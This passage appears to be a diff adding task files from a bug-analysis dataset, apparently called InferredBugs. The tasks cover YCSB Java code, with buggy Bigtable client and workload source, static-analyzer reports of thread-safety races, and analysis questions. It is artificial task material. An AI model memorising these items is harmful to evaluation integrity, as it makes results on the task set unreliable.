+Read/Write race. Non-private method `com.yahoo.ycsb.db.CassandraCQLClient.scan` reads without synchronization from `db.CassandraCQLClient.com.yahoo.ycsb.db.CassandraCQLClient.debug`. Potentially races with write in method `CassandraCQLClient.init()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Status CassandraCQLClient.scan(String,String,int,Set,Vector)
+
+### Procedure Id:
+com.yahoo.ycsb.db.CassandraCQLClient.scan(java.lang.String,java.lang.String,int,java.util.Set,java.u.a6b8e9ca1face0d0eb3e4b578de5f521
+
+### File:
+cassandra/src/main/java/com/yahoo/ycsb/db/CassandraCQLClient.java
+
+### Key:
+CassandraCQLClient.java|scan|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+16d94574f43438249fbe45d4242dd0be
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7970/instruction.md b/inferredbugs-7970/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..226d2a02d9861e874e4461153b564f272dd991ac
--- /dev/null
+++ b/inferredbugs-7970/instruction.md
@@ -0,0 +1,530 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** YCSB
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2016 YCSB contributors. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you
+ * may not use this file except in compliance with the License. You
+ * may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ * implied. See the License for the specific language governing
+ * permissions and limitations under the License. See accompanying
+ * LICENSE file.
+ */
+package com.yahoo.ycsb.db;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Properties;
+
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.HBaseConfiguration;
+import org.apache.hadoop.hbase.util.Bytes;
+
+import java.util.Set;
+import java.util.Vector;
+import java.util.concurrent.ExecutionException;
+
+import com.google.bigtable.repackaged.com.google.protobuf.ByteString;
+import com.google.bigtable.v2.Column;
+import com.google.bigtable.v2.Family;
+import com.google.bigtable.v2.MutateRowRequest;
+import com.google.bigtable.v2.Mutation;
+import com.google.bigtable.v2.ReadRowsRequest;
+import com.google.bigtable.v2.Row;
+import com.google.bigtable.v2.RowFilter;
+import com.google.bigtable.v2.RowRange;
+import com.google.bigtable.v2.RowSet;
+import com.google.bigtable.v2.Mutation.DeleteFromRow;
+import com.google.bigtable.v2.Mutation.SetCell;
+import com.google.bigtable.v2.RowFilter.Chain.Builder;
+import com.google.cloud.bigtable.config.BigtableOptions;
+import com.google.cloud.bigtable.grpc.BigtableDataClient;
+import com.google.cloud.bigtable.grpc.BigtableSession;
+import com.google.cloud.bigtable.grpc.BigtableTableName;
+import com.google.cloud.bigtable.grpc.async.AsyncExecutor;
+import com.google.cloud.bigtable.grpc.async.BulkMutation;
+import com.google.cloud.bigtable.hbase.BigtableOptionsFactory;
+import com.google.cloud.bigtable.util.ByteStringer;
+import com.yahoo.ycsb.ByteArrayByteIterator;
+import com.yahoo.ycsb.ByteIterator;
+import com.yahoo.ycsb.DBException;
+import com.yahoo.ycsb.Status;
+
+/**
+ * Google Bigtable Proto client for YCSB framework.
+ * 
+ * Bigtable offers two APIs. These include a native Protobuf GRPC API as well as 
+ * an HBase API wrapper for the GRPC API. This client implements the Protobuf 
+ * API to test the underlying calls wrapped up in the HBase API. To use the 
+ * HBase API, see the hbase10 client binding.
+ */
+public class GoogleBigtableClient extends com.yahoo.ycsb.DB {
+  public static final Charset UTF8_CHARSET = Charset.forName("UTF8");
+  
+  /** Property names for the CLI. */
+  private static final String ASYNC_MUTATOR_MAX_MEMORY = "mutatorMaxMemory";
+  private static final String ASYNC_MAX_INFLIGHT_RPCS = "mutatorMaxInflightRPCs";
+  private static final String CLIENT_SIDE_BUFFERING = "clientbuffering";
+  
+  /** Tracks running thread counts so we know when to close the session. */ 
+  private static int threadCount = 0;
+  
+  /** This will load the hbase-site.xml config file and/or store CLI options. */
+  private static final Configuration CONFIG = HBaseConfiguration.create();
+  
+  /** Print debug information to standard out. */
+  private boolean debug = false;
+  
+  /** Global Bigtable native API objects. */ 
+  private static BigtableOptions options;
+  private static BigtableSession session;
+  
+  /** Thread loacal Bigtable native API objects. */
+  private BigtableDataClient client;
+  private AsyncExecutor asyncExecutor;
+  
+  /** The column family use for the workload. */
+  private byte[] columnFamilyBytes;
+  
+  /** Cache for the last table name/ID to avoid byte conversions. */
+  private String lastTable = "";
+  private byte[] lastTableBytes;
+  
+  /**
+   * If true, buffer mutations on the client. For measuring insert/update/delete 
+   * latencies, client side buffering should be disabled.
+   */
+  private boolean clientSideBuffering = false;
+
+  private BulkMutation bulkMutation;
+
+  @Override
+  public void init() throws DBException {
+    Properties props = getProperties();
+    
+    // Defaults the user can override if needed
+    if (getProperties().containsKey(ASYNC_MUTATOR_MAX_MEMORY)) {
+      CONFIG.set(BigtableOptionsFactory.BIGTABLE_BUFFERED_MUTATOR_MAX_MEMORY_KEY,
+          getProperties().getProperty(ASYNC_MUTATOR_MAX_MEMORY));
+    }
+    if (getProperties().containsKey(ASYNC_MAX_INFLIGHT_RPCS)) {
+      CONFIG.set(BigtableOptionsFactory.BIGTABLE_BULK_MAX_ROW_KEY_COUNT,
+          getProperties().getProperty(ASYNC_MAX_INFLIGHT_RPCS));
+    }
+    // make it easy on ourselves by copying all CLI properties into the config object.
+    final Iterator<Entry<Object, Object>> it = props.entrySet().iterator();
+    while (it.hasNext()) {
+      Entry<Object, Object> entry = it.next();
+      CONFIG.set((String)entry.getKey(), (String)entry.getValue());
+    }
+    
+    clientSideBuffering = getProperties().getProperty(CLIENT_SIDE_BUFFERING, "false")
+        .equals("true") ? true : false;
+    
+    System.err.println("Running Google Bigtable with Proto API" +
+         (clientSideBuffering ? " and client side buffering." : "."));
+    
+    synchronized (CONFIG) {
+      ++threadCount;
+      if (session == null) {
+        try {
+          options = BigtableOptionsFactory.fromConfiguration(CONFIG);
+          session = new BigtableSession(options);
+          // important to instantiate the first client here, otherwise the
+          // other threads may receive an NPE from the options when they try
+          // to read the cluster name.
+          client = session.getDataClient();
+        } catch (IOException e) {
+          throw new DBException("Error loading options from config: ", e);
+        }
+      } else {
+        client = session.getDataClient();
+      }
+      
+      if (clientSideBuffering) {
+        asyncExecutor = session.createAsyncExecutor();
+      }
+    }
+    
+    if ((getProperties().getProperty("debug") != null)
+        && (getProperties().getProperty("debug").compareTo("true") == 0)) {
+      debug = true;
+    }
+    
+    final String columnFamily = getProperties().getProperty("columnfamily");
+    if (columnFamily == null) {
+      System.err.println("Error, must specify a columnfamily for Bigtable table");
+      throw new DBException("No columnfamily specified");
+    }
+    columnFamilyBytes = Bytes.toBytes(columnFamily);
+  }
+  
+  @Override
+  public void cleanup() throws DBException {
+    if (bulkMutation != null) {
+      try {
+        bulkMutation.flush();
+      } catch(RuntimeException e){
+        throw new DBException(e);
+      }
+    }
+    if (asyncExecutor != null) {
+      try {
+        asyncExecutor.flush();
+      } catch (IOException e) {
+        throw new DBException(e);
+      }
+    }
+    synchronized (CONFIG) {
+      --threadCount;
+      if (threadCount <= 0) {
+        try {
+          session.close();
+        } catch (IOException e) {
+          throw new DBException(e);
+        }
+      }
+    }
+  }
+  
+  @Override
+  public Status read(String table, String key, Set<String> fields,
+                     Map<String, ByteIterator> result) {
+    if (debug) {
+      System.out.println("Doing read from Bigtable columnfamily " 
+          + new String(columnFamilyBytes));
+      System.out.println("Doing read for key: " + key);
+    }
+    
+    setTable(table);
+    
+    RowFilter filter = RowFilter.newBuilder()
+        .setFamilyNameRegexFilterBytes(ByteStringer.wrap(columnFamilyBytes))
+        .build();
+    if (fields != null && fields.size() > 0) {
+      Builder filterChain = RowFilter.Chain.newBuilder();
+      filterChain.addFilters(filter);
+      filterChain.addFilters(RowFilter.newBuilder()
+          .setCellsPerColumnLimitFilter(1)
+          .build());
+      int count = 0;
+      // usually "field#" so pre-alloc
+      final StringBuilder regex = new StringBuilder(fields.size() * 6);
+      for (final String field : fields) {
+        if (count++ > 0) {
+          regex.append("|");
+        }
+        regex.append(field);
+      }
+      filterChain.addFilters(RowFilter.newBuilder()
+          .setColumnQualifierRegexFilter(
+              ByteStringer.wrap(regex.toString().getBytes()))).build();
+      filter = RowFilter.newBuilder().setChain(filterChain.build()).build();
+    }
+    
+    final ReadRowsRequest.Builder rrr = ReadRowsRequest.newBuilder()
+        .setTableNameBytes(ByteStringer.wrap(lastTableBytes))
+        .setFilter(filter)
+        .setRows(RowSet.newBuilder()
+          .addRowKeys(ByteStringer.wrap(key.getBytes())));
+    
+    List<Row> rows;
+    try {
+      rows = client.readRowsAsync(rrr.build()).get();
+      if (rows == null || rows.isEmpty()) {
+        return Status.NOT_FOUND;
+      }
+      for (final Row row : rows) {
+        for (final Family family : row.getFamiliesList()) {
+          if (Arrays.equals(family.getNameBytes().toByteArray(), columnFamilyBytes)) {
+            for (final Column column : family.getColumnsList()) {
+              // we should only have a single cell per column
+              result.put(column.getQualifier().toString(UTF8_CHARSET), 
+                  new ByteArrayByteIterator(column.getCells(0).getValue().toByteArray()));
+              if (debug) {
+                System.out.println(
+                    "Result for field: " + column.getQualifier().toString(UTF8_CHARSET)
+                        + " is: " + column.getCells(0).getValue().toString(UTF8_CHARSET));
+              }
+            }
+          }
+        }
+      }
+      
+      return Status.OK;
+    } catch (InterruptedException e) {
+      System.err.println("Interrupted during get: " + e);
+      Thread.currentThread().interrupt();
+      return Status.ERROR;
+    } catch (ExecutionException e) {
+      System.err.println("Exception during get: " + e);
+      return Status.ERROR;
+    }
+  }
+
+  @Override
+  public Status scan(String table, String startkey, int recordcount,
+      Set<String> fields, Vector<HashMap<String, ByteIterator>> result) {
+    setTable(table);
+    
+    RowFilter filter = RowFilter.newBuilder()
+        .setFamilyNameRegexFilterBytes(ByteStringer.wrap(columnFamilyBytes))
+        .build();
+    if (fields != null && fields.size() > 0) {
+      Builder filterChain = RowFilter.Chain.newBuilder();
+      filterChain.addFilters(filter);
+      filterChain.addFilters(RowFilter.newBuilder()
+          .setCellsPerColumnLimitFilter(1)
+          .build());
+      int count = 0;
+      // usually "field#" so pre-alloc
+      final StringBuilder regex = new StringBuilder(fields.size() * 6);
+      for (final String field : fields) {
+        if (count++ > 0) {
+          regex.append("|");
+        }
+        regex.append(field);
+      }
+      filterChain.addFilters(RowFilter.newBuilder()
+          .setColumnQualifierRegexFilter(
+              ByteStringer.wrap(regex.toString().getBytes()))).build();
+      filter = RowFilter.newBuilder().setChain(filterChain.build()).build();
+    }
+    
+    final RowRange range = RowRange.newBuilder()
+        .setStartKeyClosed(ByteStringer.wrap(startkey.getBytes()))
+        .build();
+
+    final RowSet rowSet = RowSet.newBuilder()
+        .addRowRanges(range)
+        .build();
+
+    final ReadRowsRequest.Builder rrr = ReadRowsRequest.newBuilder()
+        .setTableNameBytes(ByteStringer.wrap(lastTableBytes))
+        .setFilter(filter)
+        .setRows(rowSet);
+    
+    List<Row> rows;
+    try {
+      rows = client.readRowsAsync(rrr.build()).get();
+      if (rows == null || rows.isEmpty()) {
+        return Status.NOT_FOUND;
+      }
+      int numResults = 0;
+      
+      for (final Row row : rows) {
+        final HashMap<String, ByteIterator> rowResult =
+            new HashMap<String, ByteIterator>(fields != null ? fields.size() : 10);
+        
+        for (final Family family : row.getFamiliesList()) {
+          if (Arrays.equals(family.getNameBytes().toByteArray(), columnFamilyBytes)) {
+            for (final Column column : family.getColumnsList()) {
+              // we should only have a single cell per column
+              rowResult.put(column.getQualifier().toString(UTF8_CHARSET), 
+                  new ByteArrayByteIterator(column.getCells(0).getValue().toByteArray()));
+              if (debug) {
+                System.out.println(
+                    "Result for field: " + column.getQualifier().toString(UTF8_CHARSET)
+                        + " is: " + column.getCells(0).getValue().toString(UTF8_CHARSET));
+              }
+            }
+          }
+        }
+        
+        result.add(rowResult);
+        
+        numResults++;
+        if (numResults >= recordcount) {// if hit recordcount, bail out
+          break;
+        }
+      }
+      return Status.OK;
+    } catch (InterruptedException e) {
+      System.err.println("Interrupted during scan: " + e);
+      Thread.currentThread().interrupt();
+      return Status.ERROR;
+    } catch (ExecutionException e) {
+      System.err.println("Exception during scan: " + e);
+      return Status.ERROR;
+    }
+  }
+
+  @Override
+  public Status update(String table, String key,
+                       Map<String, ByteIterator> values) {
+    if (debug) {
+      System.out.println("Setting up put for key: " + key);
+    }
+    
+    setTable(table);
+    
+    final MutateRowRequest.Builder rowMutation = MutateRowRequest.newBuilder();
+    rowMutation.setRowKey(ByteString.copyFromUtf8(key));
+    rowMutation.setTableNameBytes(ByteStringer.wrap(lastTableBytes));
+    
+    for (final Entry<String, ByteIterator> entry : values.entrySet()) {
+      final Mutation.Builder mutationBuilder = rowMutation.addMutationsBuilder();
+      final SetCell.Builder setCellBuilder = mutationBuilder.getSetCellBuilder();
+      
+      setCellBuilder.setFamilyNameBytes(ByteStringer.wrap(columnFamilyBytes));
+      setCellBuilder.setColumnQualifier(ByteStringer.wrap(entry.getKey().getBytes()));
+      setCellBuilder.setValue(ByteStringer.wrap(entry.getValue().toArray()));
+
+      // Bigtable uses a 1ms granularity
+      setCellBuilder.setTimestampMicros(System.currentTimeMillis() * 1000);
+    }
+    
+    try {
+      if (clientSideBuffering) {
+        bulkMutation.add(rowMutation.build());
+      } else {
+        client.mutateRow(rowMutation.build());
+      }
+      return Status.OK;
+    } catch (RuntimeException e) {
+      System.err.println("Failed to insert key: " + key + " " + e.getMessage());
+      return Status.ERROR;
+    }
+  }
+
+  @Override
+  public Status insert(String table, String key,
+                       Map<String, ByteIterator> values) {
+    return update(table, key, values);
+  }
+
+  @Override
+  public Status delete(String table, String key) {
+    if (debug) {
+      System.out.println("Doing delete for key: " + key);
+    }
+    
+    setTable(table);
+    
+    final MutateRowRequest.Builder rowMutation = MutateRowRequest.newBuilder()
+        .setRowKey(ByteString.copyFromUtf8(key))
+        .setTableNameBytes(ByteStringer.wrap(lastTableBytes));
+    rowMutation.addMutationsBuilder().setDeleteFromRow(
+        DeleteFromRow.getDefaultInstance());
+    
+    try {
+      if (clientSideBuffering) {
+        bulkMutation.add(rowMutation.build());
+      } else {
+        client.mutateRow(rowMutation.build());
+      }
+      return Status.OK;
+    } catch (RuntimeException e) {
+      System.err.println("Failed to delete key: " + key + " " + e.getMessage());
+      return Status.ERROR;
+    }
+  }
+
+  /**
+   * Little helper to set the table byte array. If it's different than the last
+   * table we reset the byte array. Otherwise we just use the existing array.
+   * @param table The table we're operating against
+   */
+  private void setTable(final String table) {
+    if (!lastTable.equals(table)) {
+      lastTable = table;
+      BigtableTableName tableName = options
+          .getInstanceName()
+          .toTableName(table);
+      lastTableBytes = tableName
+          .toString()
+          .getBytes();
+      synchronized(this) {
+        if (bulkMutation != null) {
+          bulkMutation.flush();
+        }
+        bulkMutation = session.createBulkMutation(tableName, asyncExecutor);
+      }
+    }
+  }
+  
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.yahoo.ycsb.db.GoogleBigtableClient.cleanup` reads without synchronization from `this.com.yahoo.ycsb.db.GoogleBigtableClient.asyncExecutor`. Potentially races with write in method `GoogleBigtableClient.init()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GoogleBigtableClient.cleanup()
+
+### Procedure Id:
+com.yahoo.ycsb.db.GoogleBigtableClient.cleanup():void.f579963d8366e91b27bd84ebbf691525
+
+### File:
+googlebigtable/src/main/java/com/yahoo/ycsb/db/GoogleBigtableClient.java
+
+### Key:
+GoogleBigtableClient.java|cleanup|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3bf01f6fda4c5334870d72f77c2df321
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7971/instruction.md b/inferredbugs-7971/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..59a0abafa303c162c7374e2aa5a629c5b05fd720
--- /dev/null
+++ b/inferredbugs-7971/instruction.md
@@ -0,0 +1,938 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** YCSB
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2010 Yahoo! Inc., Copyright (c) 2016 YCSB contributors. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you
+ * may not use this file except in compliance with the License. You
+ * may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ * implied. See the License for the specific language governing
+ * permissions and limitations under the License. See accompanying
+ * LICENSE file.
+ */
+
+package com.yahoo.ycsb.workloads;
+
+import java.util.Properties;
+
+import com.yahoo.ycsb.*;
+import com.yahoo.ycsb.generator.AcknowledgedCounterGenerator;
+import com.yahoo.ycsb.generator.ConstantIntegerGenerator;
+import com.yahoo.ycsb.generator.CounterGenerator;
+import com.yahoo.ycsb.generator.DiscreteGenerator;
+import com.yahoo.ycsb.generator.ExponentialGenerator;
+import com.yahoo.ycsb.generator.HistogramGenerator;
+import com.yahoo.ycsb.generator.HotspotIntegerGenerator;
+import com.yahoo.ycsb.generator.NumberGenerator;
+import com.yahoo.ycsb.generator.ScrambledZipfianGenerator;
+import com.yahoo.ycsb.generator.SequentialGenerator;
+import com.yahoo.ycsb.generator.SkewedLatestGenerator;
+import com.yahoo.ycsb.generator.UniformIntegerGenerator;
+import com.yahoo.ycsb.generator.ZipfianGenerator;
+import com.yahoo.ycsb.measurements.Measurements;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Vector;
+
+
+/**
+ * The core benchmark scenario. Represents a set of clients doing simple CRUD operations. The
+ * relative proportion of different kinds of operations, and other properties of the workload,
+ * are controlled by parameters specified at runtime.
+ *
+ * Properties to control the client:
+ * <UL>
+ * <LI><b>fieldcount</b>: the number of fields in a record (default: 10)
+ * <LI><b>fieldlength</b>: the size of each field (default: 100)
+ * <LI><b>readallfields</b>: should reads read all fields (true) or just one (false) (default: true)
+ * <LI><b>writeallfields</b>: should updates and read/modify/writes update all fields (true) or just
+ * one (false) (default: false)
+ * <LI><b>readproportion</b>: what proportion of operations should be reads (default: 0.95)
+ * <LI><b>updateproportion</b>: what proportion of operations should be updates (default: 0.05)
+ * <LI><b>insertproportion</b>: what proportion of operations should be inserts (default: 0)
+ * <LI><b>scanproportion</b>: what proportion of operations should be scans (default: 0)
+ * <LI><b>readmodifywriteproportion</b>: what proportion of operations should be read a record,
+ * modify it, write it back (default: 0)
+ * <LI><b>requestdistribution</b>: what distribution should be used to select the records to operate
+ * on - uniform, zipfian, hotspot, sequential, exponential or latest (default: uniform)
+ * <LI><b>maxscanlength</b>: for scans, what is the maximum number of records to scan (default: 1000)
+ * <LI><b>scanlengthdistribution</b>: for scans, what distribution should be used to choose the
+ * number of records to scan, for each scan, between 1 and maxscanlength (default: uniform)
+ * <LI><b>insertstart</b>: for parallel loads and runs, defines the starting record for this
+ * YCSB instance (default: 0)
+ * <LI><b>insertcount</b>: for parallel loads and runs, defines the number of records for this
+ * YCSB instance (default: recordcount)
+ * <LI><b>zeropadding</b>: for generating a record sequence compatible with string sort order by
+ * 0 padding the record number. Controls the number of 0s to use for padding. (default: 1)
+ * For example for row 5, with zeropadding=1 you get 'user5' key and with zeropading=8 you get
+ * 'user00000005' key. In order to see its impact, zeropadding needs to be bigger than number of 
+ * digits in the record number.
+ * <LI><b>insertorder</b>: should records be inserted in order by key ("ordered"), or in hashed
+ * order ("hashed") (default: hashed)
+ * </ul>
+ */
+public class CoreWorkload extends Workload {
+  /**
+   * The name of the database table to run queries against.
+   */
+  public static final String TABLENAME_PROPERTY = "table";
+
+  /**
+   * The default name of the database table to run queries against.
+   */
+  public static final String TABLENAME_PROPERTY_DEFAULT = "usertable";
+
+  public static String table;
+
+
+  /**
+   * The name of the property for the number of fields in a record.
+   */
+  public static final String FIELD_COUNT_PROPERTY = "fieldcount";
+
+  /**
+   * Default number of fields in a record.
+   */
+  public static final String FIELD_COUNT_PROPERTY_DEFAULT = "10";
+
+  int fieldcount;
+
+  private List<String> fieldnames;
+
+  /**
+   * The name of the property for the field length distribution. Options are "uniform", "zipfian"
+   * (favouring short records), "constant", and "histogram".
+   *
+   * If "uniform", "zipfian" or "constant", the maximum field length will be that specified by the
+   * fieldlength property. If "histogram", then the histogram will be read from the filename
+   * specified in the "fieldlengthhistogram" property.
+   */
+  public static final String FIELD_LENGTH_DISTRIBUTION_PROPERTY = "fieldlengthdistribution";
+
+  /**
+   * The default field length distribution.
+   */
+  public static final String FIELD_LENGTH_DISTRIBUTION_PROPERTY_DEFAULT = "constant";
+
+  /**
+   * The name of the property for the length of a field in bytes.
+   */
+  public static final String FIELD_LENGTH_PROPERTY = "fieldlength";
+
+  /**
+   * The default maximum length of a field in bytes.
+   */
+  public static final String FIELD_LENGTH_PROPERTY_DEFAULT = "100";
+
+  /**
+   * The name of a property that specifies the filename containing the field length histogram (only
+   * used if fieldlengthdistribution is "histogram").
+   */
+  public static final String FIELD_LENGTH_HISTOGRAM_FILE_PROPERTY = "fieldlengthhistogram";
+
+  /**
+   * The default filename containing a field length histogram.
+   */
+  public static final String FIELD_LENGTH_HISTOGRAM_FILE_PROPERTY_DEFAULT = "hist.txt";
+
+  /**
+   * Generator object that produces field lengths.  The value of this depends on the properties that
+   * start with "FIELD_LENGTH_".
+   */
+  NumberGenerator fieldlengthgenerator;
+
+  /**
+   * The name of the property for deciding whether to read one field (false) or all fields (true) of
+   * a record.
+   */
+  public static final String READ_ALL_FIELDS_PROPERTY = "readallfields";
+
+  /**
+   * The default value for the readallfields property.
+   */
+  public static final String READ_ALL_FIELDS_PROPERTY_DEFAULT = "true";
+
+  boolean readallfields;
+
+  /**
+   * The name of the property for deciding whether to write one field (false) or all fields (true)
+   * of a record.
+   */
+  public static final String WRITE_ALL_FIELDS_PROPERTY = "writeallfields";
+
+  /**
+   * The default value for the writeallfields property.
+   */
+  public static final String WRITE_ALL_FIELDS_PROPERTY_DEFAULT = "false";
+
+  boolean writeallfields;
+
+
+  /**
+   * The name of the property for deciding whether to check all returned
+   * data against the formation template to ensure data integrity.
+   */
+  public static final String DATA_INTEGRITY_PROPERTY = "dataintegrity";
+
+  /**
+   * The default value for the dataintegrity property.
+   */
+  public static final String DATA_INTEGRITY_PROPERTY_DEFAULT = "false";
+
+  /**
+   * Set to true if want to check correctness of reads. Must also
+   * be set to true during loading phase to function.
+   */
+  private boolean dataintegrity;
+
+  /**
+   * The name of the property for the proportion of transactions that are reads.
+   */
+  public static final String READ_PROPORTION_PROPERTY = "readproportion";
+
+  /**
+   * The default proportion of transactions that are reads.
+   */
+  public static final String READ_PROPORTION_PROPERTY_DEFAULT = "0.95";
+
+  /**
+   * The name of the property for the proportion of transactions that are updates.
+   */
+  public static final String UPDATE_PROPORTION_PROPERTY = "updateproportion";
+
+  /**
+   * The default proportion of transactions that are updates.
+   */
+  public static final String UPDATE_PROPORTION_PROPERTY_DEFAULT = "0.05";
+
+  /**
+   * The name of the property for the proportion of transactions that are inserts.
+   */
+  public static final String INSERT_PROPORTION_PROPERTY = "insertproportion";
+
+  /**
+   * The default proportion of transactions that are inserts.
+   */
+  public static final String INSERT_PROPORTION_PROPERTY_DEFAULT = "0.0";
+
+  /**
+   * The name of the property for the proportion of transactions that are scans.
+   */
+  public static final String SCAN_PROPORTION_PROPERTY = "scanproportion";
+
+  /**
+   * The default proportion of transactions that are scans.
+   */
+  public static final String SCAN_PROPORTION_PROPERTY_DEFAULT = "0.0";
+
+  /**
+   * The name of the property for the proportion of transactions that are read-modify-write.
+   */
+  public static final String READMODIFYWRITE_PROPORTION_PROPERTY = "readmodifywriteproportion";
+
+  /**
+   * The default proportion of transactions that are scans.
+   */
+  public static final String READMODIFYWRITE_PROPORTION_PROPERTY_DEFAULT = "0.0";
+
+  /**
+   * The name of the property for the the distribution of requests across the keyspace. Options are
+   * "uniform", "zipfian" and "latest"
+   */
+  public static final String REQUEST_DISTRIBUTION_PROPERTY = "requestdistribution";
+
+  /**
+   * The default distribution of requests across the keyspace.
+   */
+  public static final String REQUEST_DISTRIBUTION_PROPERTY_DEFAULT = "uniform";
+
+   /**
+   * The name of the property for adding zero padding to record numbers in order to match
+   * string sort order. Controls the number of 0s to left pad with.
+   */
+  public static final String ZERO_PADDING_PROPERTY = "zeropadding";
+
+  /**
+   * The default zero padding value. Matches integer sort order
+   */
+  public static final String ZERO_PADDING_PROPERTY_DEFAULT = "1";
+
+  
+  /**
+   * The name of the property for the max scan length (number of records).
+   */
+  public static final String MAX_SCAN_LENGTH_PROPERTY = "maxscanlength";
+
+  /**
+   * The default max scan length.
+   */
+  public static final String MAX_SCAN_LENGTH_PROPERTY_DEFAULT = "1000";
+
+  /**
+   * The name of the property for the scan length distribution. Options are "uniform" and "zipfian"
+   * (favoring short scans)
+   */
+  public static final String SCAN_LENGTH_DISTRIBUTION_PROPERTY = "scanlengthdistribution";
+
+  /**
+   * The default max scan length.
+   */
+  public static final String SCAN_LENGTH_DISTRIBUTION_PROPERTY_DEFAULT = "uniform";
+
+  /**
+   * The name of the property for the order to insert records. Options are "ordered" or "hashed"
+   */
+  public static final String INSERT_ORDER_PROPERTY = "insertorder";
+
+  /**
+   * Default insert order.
+   */
+  public static final String INSERT_ORDER_PROPERTY_DEFAULT = "hashed";
+
+  /**
+   * Percentage data items that constitute the hot set.
+   */
+  public static final String HOTSPOT_DATA_FRACTION = "hotspotdatafraction";
+
+  /**
+   * Default value of the size of the hot set.
+   */
+  public static final String HOTSPOT_DATA_FRACTION_DEFAULT = "0.2";
+
+  /**
+   * Percentage operations that access the hot set.
+   */
+  public static final String HOTSPOT_OPN_FRACTION = "hotspotopnfraction";
+
+  /**
+   * Default value of the percentage operations accessing the hot set.
+   */
+  public static final String HOTSPOT_OPN_FRACTION_DEFAULT = "0.8";
+
+  /**
+   * How many times to retry when insertion of a single item to a DB fails.
+   */
+  public static final String INSERTION_RETRY_LIMIT = "core_workload_insertion_retry_limit";
+  public static final String INSERTION_RETRY_LIMIT_DEFAULT = "0";
+
+  /**
+   * On average, how long to wait between the retries, in seconds.
+   */
+  public static final String INSERTION_RETRY_INTERVAL = "core_workload_insertion_retry_interval";
+  public static final String INSERTION_RETRY_INTERVAL_DEFAULT = "3";
+
+  NumberGenerator keysequence;
+
+  DiscreteGenerator operationchooser;
+
+  NumberGenerator keychooser;
+
+  NumberGenerator fieldchooser;
+
+  AcknowledgedCounterGenerator transactioninsertkeysequence;
+
+  NumberGenerator scanlength;
+
+  boolean orderedinserts;
+
+  int recordcount;
+  int zeropadding;
+
+  int insertionRetryLimit;
+  int insertionRetryInterval;
+
+  private Measurements _measurements = Measurements.getMeasurements();
+
+  protected static NumberGenerator getFieldLengthGenerator(Properties p) throws WorkloadException {
+    NumberGenerator fieldlengthgenerator;
+    String fieldlengthdistribution = p.getProperty(
+        FIELD_LENGTH_DISTRIBUTION_PROPERTY, FIELD_LENGTH_DISTRIBUTION_PROPERTY_DEFAULT);
+    int fieldlength =
+        Integer.parseInt(p.getProperty(FIELD_LENGTH_PROPERTY, FIELD_LENGTH_PROPERTY_DEFAULT));
+    String fieldlengthhistogram = p.getProperty(
+        FIELD_LENGTH_HISTOGRAM_FILE_PROPERTY, FIELD_LENGTH_HISTOGRAM_FILE_PROPERTY_DEFAULT);
+    if (fieldlengthdistribution.compareTo("constant") == 0) {
+      fieldlengthgenerator = new ConstantIntegerGenerator(fieldlength);
